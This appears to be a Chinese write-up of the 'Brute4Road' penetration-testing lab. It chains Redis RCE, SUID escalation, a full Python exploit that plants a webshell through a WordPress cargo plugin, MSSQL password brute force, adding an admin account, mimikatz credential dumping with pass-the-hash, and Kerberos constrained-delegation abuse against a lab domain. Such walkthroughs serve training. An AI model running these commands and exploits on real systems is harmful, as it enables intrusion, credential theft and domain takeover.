一、概述
二、入口机 39.101.171.169
2.1 信息收集
2.2 Redis 利用
python redis-rce.py -r [目标IP] -p [目标端口] -L [攻击机IP] -f [编译后的恶意so文件]
2.3 SUID 提权
2.4 获取 flag01
base64 "/home/redis/flag/flag01" | base64 --decode
三、入口机横向移动
3.1 流量代理
wget [下载的地址] --no-check-certificate #下载
nohup [你要执行的命令] > /dev/null 2>1&1 & #在系统后台不挂断地运行命令
3.2 信息收集
$ ./fscan -h 172.22.2.0/24 -o output.txt
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.34 is alive
(icmp) Target 172.22.2.18 is alive
[*] Icmp alive hosts len is: 5
172.22.2.34:135 open
172.22.2.16:139 open
172.22.2.18:139 open
172.22.2.34:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.18:80 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:139 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.18:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.3:88 open
172.22.2.34:7680 open
[*] alive ports len is: 21
start vulscan
[*] NetInfo
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] NetInfo
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetInfo
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetBios 172.22.2.34 XIAORANGCLIENT01
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.18 WORKGROUPUBUNTU-WEB02
[+] ftp 172.22.2.7:21:anonymous
[->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:WordPress
21/21
[*] ,: 12.69793102s
172.22.2.3 域控
172.22.2.16 域内机子，有 mssql 服务
172.22.2.7 入口机
172.22.2.18 跑着 wordpress 的机子
172.22.2.34 域内机子
3.3 WordPress 漏洞利用
import sys
import binascii
import requests
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://127.0.0.1:8001/'
cmd = 'ls'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
3.4 Webshell 连接
3.5 数据库连接
3.6 获取 flag02
四、域内机 172.22.2.16
4.1 密码爆破
hydra -l sa -P [密码本文件] 172.22.2.16 mssql #-l制定用户名，-P指定密码本文件
4.2 远程登录
C:/Users/Public/NET4.exe -cmd "net user weakpass 1qaz@WSX /add"
C:/Users/Public/NET4.exe -cmd "net localgroup administrators weakpass /add"
4.3 获取 flag03
五、域内移动
5.1 信息整理
5.2 获取域内用户权限
privilege::debug
mimikatz # sekurlsa::logonpasswords #获取 hash 和 ntlm
sekurlsa::pth /user:MSSQLSERVER$ /domain:xiaorang.lab /ntlm:43c261a781aa0efc3f25ccd2629d0511 #hash 传递
5.3 信息收集
方法一 AdFind
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName #查询非约束委派的主机
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto #查询约束委派的主机
方法二 BloodHound
curl -L https://ghst.ly/getbhce | docker compose -f - up #一步到位的部署方式
#另一种方式就是分步部署，先下载 docker-compose.yml，然后docker compose up运行
-
虚拟机分配内存建议 8G 以上，否则可能起不来； -
用了镜像源，建议使用官方的 docker 源； -
在搭建 docker 的虚拟机之外访问不到，则需要在 docker-compose.yml 中将 127.0.0.1 修改为虚拟机的 IP。
SharpHound.exe
5.4 约束委派
python getST.py -dc-ip 172.22.2.3 xiaorang.lab/MSSQLSERVER$ -spn ldap/DC.xiaorang.lab -impersonate Administrator -hashes :8e1c9a7b9fb7c03aead7ea47f90cfbaa
proxychains python3 wmiexec.py -k -no-pass [email protected]
5.5 获取 flag04
原文始发于微信公众号（弱口令安全实验室）：春秋云境-Brute4Road
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论